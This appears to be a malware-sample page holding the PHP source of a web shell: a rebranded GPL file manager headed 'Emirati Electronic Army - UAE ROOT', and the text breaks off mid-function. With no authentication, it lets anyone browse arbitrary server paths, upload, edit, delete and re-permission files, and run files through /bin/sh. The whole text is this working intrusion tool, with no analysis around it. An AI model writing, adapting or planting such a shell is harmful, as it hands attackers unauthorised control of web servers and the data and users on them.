Jump to:
Screenshot
Attributes
Encoding
<?php
/*
* Genius-JorDan - H0s4m - a simple Web-based file manager
* Copyright (C) 2004 Genius-JorDan - H0s4m
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* -------------------------------------------------------------------------
* While using this script, do NOT navigate with your browser's back and
* forward buttons! Always open files in a new browser tab!
* -------------------------------------------------------------------------
*
* This is Version 0.9, revision 9
* =========================================================================
/* ------------------------------------------------------------------------- */
/* Your language:
* 'en' - English
* 'de' - German
* 'fr' - French
* 'it' - Italian
* 'nl' - Dutch
* 'se' - Swedish
* 'sp' - Spanish
* 'dk' - Danish
* 'tr' - Turkish
* 'cs' - Czech
* 'auto' - autoselect
*/
$lang = 'auto';
/* Charset of output:
* possible values are described in the charset table at
* http://www.php.net/manual/en/function.htmlentities.php
* 'auto' - use the same charset as the words of my language are encoded
*/
$site_charset = 'auto';
/* Homedir:
* For example: './' - the script's directory
*/
$homedir = './';
/* Size of the edit textarea
*/
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
* Optional configuration (remove # to enable)
*/
/* Permission of created directories:
* For example: 0705 would be 'drwx---r-x'.
*/
# $dirpermission = 0705;
/* Permission of created files:
* For example: 0604 would be '-rw----r--'.
*/
# $filepermission = 0604;
/* Filenames related to the apache web server:
*/
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
array_walk($_GET, 'strip');
array_walk($_POST, 'strip');
array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
header('Content-Type: image/gif');
die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
function lstat($filename)
{
return stat($filename);
}
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
$win = false;
} else {
$win = false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
$scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
$scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
$scriptdir = getcwd();
} else {
$scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
$dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
$action = $_POST['action_all'];
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
$files[] = $_POST["file{$i}"];
}
}
} elseif (!empty($_REQUEST['action'])) {
$action = $_REQUEST['action'];
$files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
$files[] = $_FILES['upload'];
$action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
for ($i = 0; $i < $_POST['num']; $i++) {
if (array_key_exists("submit{$i}", $_POST)) {
break;
}
}
if ($i < $_POST['num']) {
$action = $_POST["action{$i}"];
$files[] = $_POST["file{$i}"];
}
}
if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
$files[] = relative2absolute($_POST['create_name'], $directory);
switch ($_POST['create_type']) {
case 'directory':
$action = 'create_directory';
break;
case 'file':
$action = 'create_file';
}
}
if (sizeof($files) == 0) {
$action = '';
} else {
$file = reset($files);
}
if ($lang == 'auto') {
if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}
$words = getwords($lang);
if ($site_charset == 'auto') {
$site_charset = $word_charset;
}
$cols = $win ? 4 : 7;
if (!isset($dirpermission)) {
$dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
}
if (!isset($filepermission)) {
$filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}
switch ($action) {
case 'view':
if (is_script($file)) {
/* highlight_file is a mess! */
ob_start();
highlight_file($file);
$src = ereg_replace('<font color="([^"]*)">', '<span style="color: \\1">', ob_get_contents());
$src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
ob_end_clean();
html_header();
echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
<hr />
<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
for ($i = 1; $i <= sizeof(file($file)); $i++) {
echo "{$i}\n";
}
echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>
';
html_footer();
} else {
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: filename=' . basename($file));
readfile($file);
}
break;
case 'download':
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: ' . getmimetype($file));
header('Content-Disposition: attachment; filename=' . basename($file) . ';');
header('Content-Length: ' . filesize($file));
readfile($file);
break;
case 'upload':
$dest = relative2absolute($file['name'], $directory);
if (@file_exists($dest)) {
listing_page(error('already_exists', $dest));
} elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
@chmod($dest, $filepermission);
listing_page(notice('uploaded', $file['name']));
} else {
listing_page(error('not_uploaded', $file['name']));
}
break;
case 'create_directory':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$dirpermission);
if (@mkdir($file, $dirpermission)) {
listing_page(notice('created', $file));
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'create_file':
if (@file_exists($file)) {
listing_page(error('already_exists', $file));
} else {
$old = @umask(0777 & ~$filepermission);
if (@touch($file)) {
edit($file);
} else {
listing_page(error('not_created', $file));
}
@umask($old);
}
break;
case 'execute':
chdir(dirname($file));
$output = array();
$retval = 0;
exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
$error = false;
if (sizeof($output) == 0) {
$output = array('<' . $words['no_output'] . '>');
}
if ($error) {
listing_page(error('not_executed', $file, implode("\n", $output)));
} else {
listing_page(notice('executed', $file, implode("\n", $output)));
}
break;
case 'delete':
if (!empty($_POST['no'])) {
listing_page();
} elseif (!empty($_POST['yes'])) {
$failure = array();
$success = array();
foreach ($files as $file) {
if (del($file)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_deleted', implode("\n", $failure));
}
if (sizeof($success) > 0) {
$message .= notice('deleted', implode("\n", $success));
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('really_delete') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>
';
html_footer();
}
break;
case 'rename':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (!@file_exists($dest) && @rename($file, $dest)) {
listing_page(notice('renamed', $file, $dest));
} else {
listing_page(error('not_renamed', $file, $dest));
}
} else {
$name = basename($file);
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<input type="hidden" name="action" value="rename" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
<b>' . word('rename_file') . '</b>
<p>' . html($file) . '</p>
<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
<hr />
<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'move':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = $dest . $filename;
if (!@file_exists($d) && @rename($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_moved', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('moved', implode("\n", $success), $dest);
}
listing_page($message);
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\t<b>" . word('move_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'copy':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (@is_dir($dest)) {
$failure = array();
$success = array();
foreach ($files as $file) {
$filename = substr($file, strlen($directory));
$d = addslash($dest) . $filename;
if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
$success[] = $file;
} else {
$failure[] = $file;
}
}
$message = '';
if (sizeof($failure) > 0) {
$message = error('not_copied', implode("\n", $failure), $dest);
}
if (sizeof($success) > 0) {
$message .= notice('copied', implode("\n", $success), $dest);
}
listing_page($message);
} else {
if (!@file_exists($dest) && @copy($file, $dest)) {
listing_page(notice('copied', $file, $dest));
} else {
listing_page(error('not_copied', $file, $dest));
}
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
request_dump();
echo "\n<b>" . word('copy_files') . '</b>
<p>
';
foreach ($files as $file) {
echo "\t" . html($file) . "<br />\n";
}
echo ' </p>
<hr />
' . word('destination') . ':
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'create_symlink':
if (!empty($_POST['destination'])) {
$dest = relative2absolute($_POST['destination'], $directory);
if (substr($dest, -1, 1) == $delim) {
$dest .= basename($file);
}
if (!empty($_POST['relative'])) {
$file = absolute2relative(addslash(dirname($dest)), $file);
}
if (!@file_exists($dest) && @symlink($file, $dest)) {
listing_page(notice('symlinked', $file, $dest));
} else {
listing_page(error('not_symlinked', $file, $dest));
}
} else {
html_header();
echo '<form action="' . $self . '" method="post">
<table class="dialog" id="symlink">
<tr>
<td style="vertical-align: top">' . word('destination') . ': </td>
<td>
<b>' . html($file) . '</b><br />
<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
<label for="checkbox_relative">' . word('relative') . '</label>
<input type="hidden" name="action" value="create_symlink" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
<tr>
<td>' . word('symlink') . ': </td>
<td>
<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
<input type="submit" value="' . word('create_symlink') . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
case 'edit':
if (!empty($_POST['save'])) {
$content = str_replace("\r\n", "\n", $_POST['content']);
if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
listing_page(notice('saved', $file));
} else {
listing_page(error('not_saved', $file));
}
} else {
if (@is_readable($file) && @is_writable($file)) {
edit($file);
} else {
listing_page(error('not_edited', $file));
}
}
break;
case 'permission':
if (!empty($_POST['set'])) {
$mode = 0;
if (!empty($_POST['ur'])) {
$mode = 256;
}
if (!empty($_POST['uw'])) {
$mode |= 0200;
}
if (!empty($_POST['ux'])) {
$mode |= 0100;
}
if (!empty($_POST['gr'])) {
$mode |= 040;
}
if (!empty($_POST['gw'])) {
$mode |= 020;
}
if (!empty($_POST['gx'])) {
$mode |= 010;
}
if (!empty($_POST['or'])) {
$mode |= 04;
}
if (!empty($_POST['ow'])) {
$mode |= 02;
}
if (!empty($_POST['ox'])) {
$mode |= 01;
}
if (@chmod($file, $mode)) {
listing_page(notice('permission_set', $file, decoct($mode)));
} else {
listing_page(error('permission_not_set', $file, decoct($mode)));
}
} else {
html_header();
$mode = fileperms($file);
echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<p style="margin: 0">' . phrase('permission_for', $file) . '</p>
<hr />
<table id="permission">
<tr>
<td></td>
<td style="border-right: 1px solid black">' . word('owner') . '</td>
<td style="border-right: 1px solid black">' . word('group') . '</td>
<td>' . word('other') . '</td>
</tr>
<tr>
<td style="text-align: right">' . word('read') . ':</td>
<td><input type="checkbox" name="ur" value="1"';
if ($mode & 0400) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
if ($mode & 040) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
if ($mode & 04) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('write') . ':</td>
<td><input type="checkbox" name="uw" value="1"';
if ($mode & 0200) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
if ($mode & 020) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
if ($mode & 02) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
<tr>
<td style="text-align: right">' . word('execute') . ':</td>
<td><input type="checkbox" name="ux" value="1"';
if ($mode & 0100) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
if ($mode & 010) {
echo " checked=\"checked\"";
}
echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
if ($mode & 01) {
echo " checked=\"checked\"";
}
echo ' /></td>
</tr>
</table>
<hr />
<input type="submit" name="set" value="' . word('set') . '" />
<input type="hidden" name="action" value="permission" />
<input type="hidden" name="file" value="' . html($file) . '" />
<input type="hidden" name="dir" value="' . html($directory) . '" />
</td>
</tr>
</table>
<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
</form>
';
html_footer();
}
break;
default:
listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist($directory)
{
global $delim, $win;
if ($d = @opendir($directory)) {
while (($filename = @readdir($d)) !== false) {
$path = $directory . $filename;
if ($stat = @lstat($path)) {
$file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
if ($file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}
if ($file['is_link']) {
$file['target'] = @readlink($path);
}
if (function_exists('posix_getpwuid')) {
$file['owner_name'] = @reset(posix_getpwuid($file['owner']));
}
if (function_exists('posix_getgrgid')) {
$file['group_name'] = @reset(posix_getgrgid($file['group']));
}
$files[] = $file;
}
}
return $files;
} else {
return false;
}
}
function sortlist(&$list, $key, $reverse)
{
quicksort($list, 0, sizeof($list) - 1, $key);
if ($reverse) {
$list = array_reverse($list);
}
}
function quicksort(&$array, $first, $last, $key)
{
if ($first < $last) {
$cmp = $array[floor(($first + $last) / 2)][$key];
$l = $first;
$r = $last;
while ($l <= $r) {
while ($array[$l][$key] < $cmp) {
$l++;
}
while ($array[$r][$key] > $cmp) {
$r--;
}
if ($l <= $r) {
$tmp = $array[$l];
$array[$l] = $array[$r];
$array[$r] = $tmp;
$l++;
$r--;
}
}
quicksort($array, $first, $r, $key);
quicksort($array, $l, $last, $key);
}
}
function permission_octal2string($mode)
{
if (($mode & 0xc000) === 0xc000) {
$type = 's';
} elseif (($mode & 0xa000) === 0xa000) {
$type = 'l';
} elseif (($mode & 0x8000) === 0x8000) {
$type = '-';
} elseif (($mode & 0x6000) === 0x6000) {
$type = 'b';
} elseif (($mode & 0x4000) === 0x4000) {
$type = 'd';
} elseif (($mode & 0x2000) === 0x2000) {
$type = 'c';
} elseif (($mode & 0x1000) === 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner = $mode & 0400 ? 'r' : '-';
$owner .= $mode & 0200 ? 'w' : '-';
if ($mode & 0x800) {
$owner .= $mode & 0100 ? 's' : 'S';
} else {
$owner .= $mode & 0100 ? 'x' : '-';
}
$group = $mode & 040 ? 'r' : '-';
$group .= $mode & 020 ? 'w' : '-';
if ($mode & 0x400) {
$group .= $mode & 010 ? 's' : 'S';
} else {
$group .= $mode & 010 ? 'x' : '-';
}
$other = $mode & 04 ? 'r' : '-';
$other .= $mode & 02 ? 'w' : '-';
if ($mode & 0x200) {
$other .= $mode & 01 ? 't' : 'T';
} else {
$other .= $mode & 01 ? 'x' : '-';
}
return $type . $owner . $group . $other;
}
function is_script($filename)
{
return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
}
function getmimetype($filename)
{
static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
foreach ($mimes as $regex => $mime) {
if (eregi($regex, $filename)) {
return $mime;
}
}
return "text/plain";
}
function del($file)
{
global $delim;
if (!@is_link($file) && !file_exists($file)) {
return false;
}
if (!@is_link($file) && @is_dir($file)) {
if ($dir = @opendir($file)) {
$error = false;
while (($f = readdir($dir)) !== false) {
if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
$error = true;
}
}
closedir($dir);
if (!$error) {
return @rmdir($file);
}
return !$error;
} else {
return false;
}
} else {
return @unlink($file);
}
}
function addslash($directory)
{
global $delim;
if (substr($directory, -1, 1) != $delim) {
return $directory . $delim;
} else {
return $directory;
}
}
function relative2absolute($string, $directory)
{
if (path_is_relative($string)) {
return simplify_path(addslash($directory) . $string);
} else {
return simplify_path($string);
}
}
function path_is_relative($path)
{
global $win;
if ($win) {
return substr($path, 1, 1) != ':';
} else {
return substr($path, 0, 1) != '/';
}
}
function absolute2relative($directory, $target)
{
global $delim;
$path = '';
while ($directory != $target) {
if ($directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if ($path == '') {
$path = '.';
}
return $path;
}
function simplify_path($path)
{
global $delim;
if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@is_dir($path)) {
return addslash($path);
} else {
return $path;
}
}
$pattern = $delim . '.' . $delim;
if (@is_dir($path)) {
$path = addslash($path);
}
while (strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}
$e = addslashes($delim);
$regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
while (ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}
return $path;
}
function human_filesize($filesize)
{
$suffices = 'kMGTPE';
$n = 0;
while ($filesize >= 1000) {
$filesize /= 1024;
$n++;
}
$filesize = round($filesize, 3 - strpos($filesize, '.'));
if (strpos($filesize, '.') !== false) {
while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}
$suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
return $filesize . " {$suffix}B";
}
function strip(&$str)
{
$str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page($message = null)
{
global $self, $directory, $sort, $reverse;
html_header();
$list = getlist($directory);
if (array_key_exists('sort', $_GET)) {
$sort = $_GET['sort'];
} else {
$sort = 'filename';
}
if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
$reverse = true;
} else {
$reverse = false;
}
sortlist($list, $sort, $reverse);
echo '<h1 style="margin-bottom: 0">Emirati Electronic Army - UAE ROOT</h1>
<form enctype="multipart/form-data" action="' . $self . '" method="post">
<table id="main">
';
directory_choice();
if (!empty($message)) {
spacer();
echo $message;
}
if (@is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}
if ($list) {
listing($list);
} else {
echo error('not_readable', $directory);
}
echo "</table>\r\n\r\n</form>\r\n\r\n";
html_footer();
}
function listing($list)
{
global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
echo '<tr class="listing">
<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
$d = 'dir=' . urlencode($directory) . '&';
if (!$reverse && $sort == 'filename') {
$r = '&reverse=true';
} else {
$r = '';
}
echo "\t<th class=\"filename\"><a href=\"{$self}?{$d}sort=filename{$r}\">" . word('filename') . "</a></th>\n";
if (!$reverse && $sort == 'size') {
$r = '&reverse=true';
} else {
$r = '';
}
echo "\t<th class=\"size\"><a href=\"{$self}?{$d}sort=size{$r}\">" . word('size') . "</a></th>\n";
if (!$win) {
if (!$reverse && $sort == 'permission') {
$r = '&reverse=true';
} else {
$r = '';
}
echo "\t<th class=\"permission_header\"><a href=\"{$self}?{$d}sort=permission{$r}\">" . word('permission') . "</a></th>\n";
if (!$reverse && $sort == 'owner') {
$r = '&reverse=true';
} else {
$r = '';
}
echo "\t<th class=\"owner\"><a href=\"{$self}?{$d}sort=owner{$r}\">" . word('owner') . "</a></th>\n";
if (!$reverse && $sort == 'group') {
$r = '&reverse=true';
} else {
$r = '';
}
echo "\t<th class=\"group\"><a href=\"{$self}?{$d}sort=group{$r}\">" . word('group') . "</a></th>\n";
}
echo ' <th class="functions">' . word('functions') . '</th>
</tr>
';
for ($i = 0; $i < sizeof($list); $i++) {
$file = $list[$i];
$timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
$timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
$timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
echo '<tr class="listing">
<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
<td class="filename" title="' . html($timestamps) . '">';
if ($file['is_link']) {
echo '<img src="' . $self . '?image=link" alt="link" /> ';
echo html($file['filename']) . ' → ';
$real_file = relative2absolute($file['target'], $directory);
if (@is_readable($real_file)) {
if (@is_dir($real_file)) {
echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
} else {
echo '<a href="' . $self . '?action=view&file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
}
} else {
echo html($file['target']);
}
} elseif ($file['is_dir']) {
echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
if ($win || $file['is_executable']) {
echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
echo " ]";
} else {
if (substr($file['filename'], 0, 1) == '.') {
echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
} else {
echo '<img src="' . $self . '?image=file" alt="file" /> ';
}
if ($file['is_file'] && $file['is_readable']) {
echo '<a href="' . $self . '?action=view&file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
} else {
echo html($file['filename']);
}
}
if ($file['size'] >= 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}
echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
if (!$win) {
echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
if ($l) {
echo '<a href="' . $self . '?action=permission&file=' . urlencode($file['path']) . '&dir=' . urlencode($directory) . '">';
}
echo html(permission_octal2string($file['permission']));
if ($l) {
echo "</a>";
}
echo "</td>\n";
if (array_key_exists('owner_name', $file)) {
echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
} else {
echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
}
if (array_key_exists('group_name', $file)) {
echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
} else {
echo "\t<td class=\"group\">{$file['group']}</td>\n";
}
}
echo ' <td class="functions">
<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
$actions = array();
if (function_exists('symlink')) {
$actions[] = 'create_symlink';
}
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'rename';
$actions[] = 'move';
}
if ($file['is_file'] && $file['is_readable']) {
$actions[] = 'copy';
$actions[] = 'download';
if ($file['is_writable']) {
$actions[] = 'edit';
}
}
if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
$actions[] = 'execute';
}
if (sizeof($actions) > 0) {
echo ' <select class="small" name="action' . $i . '" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
}
echo ' </select>
<input class="small" type="submit" name="submit' . $i . '" value=" > " onfocus="activate(\'other\')" />
';
}
echo "\t</td>\r\n</tr>\r\n";
}
echo '<tr class="listing_footer">
<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt=">" /></td>
<td colspan="' . ($cols - 1) . '">
<input type="hidden" name="num" value="' . sizeof($list) . '" />
<input type="hidden" name="focus" value="" />
<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
$actions = array();
if (@is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'move';
}
$actions[] = 'copy';
echo ' <select class="small" name="action_all" size="1">
<option value="">' . str_repeat(' ', 30) . '</option>
';
foreach ($actions as $action) {
echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
}
echo "\t\t</select>\r\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" > \" onfocus=\"activate('other')\" />\r\n\t</td>\r\n</tr>\r\n";
}
function directory_choice()
{
global $directory, $homedir, $cols, $self;
echo '<tr>
<td colspan="' . $cols . '" id="directory">
<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
</td>
</tr>
';
}
function upload_box()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="upload">
' . word('file') . ':
<input type="file" name="upload" onfocus="activate(\'other\')" />
<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
</td>
</tr>
';
}
function create_box()
{
global $cols;
echo '<tr>
<td colspan="' . $cols . '" id="create">
<select name="create_type" size="1" onfocus="activate(\'create\')">
<option value="file">' . word('file') . '</option>
<option value="directory">' . word('directory') . '</option>
</select>
<input type="text" name="create_name" onfocus="activate(\'create\')" />
<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
</td>
</tr>
';
}
function edit($file)
{
global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
html_header();
echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
if (array_key_exists('content', $_POST)) {
echo $_POST['content'];
} else {
$f = fopen($file, 'r');
while (!feof($f)) {
echo html(fread($f, 8192));
}
fclose($f);
}
if (!empty($_POST['user'])) {
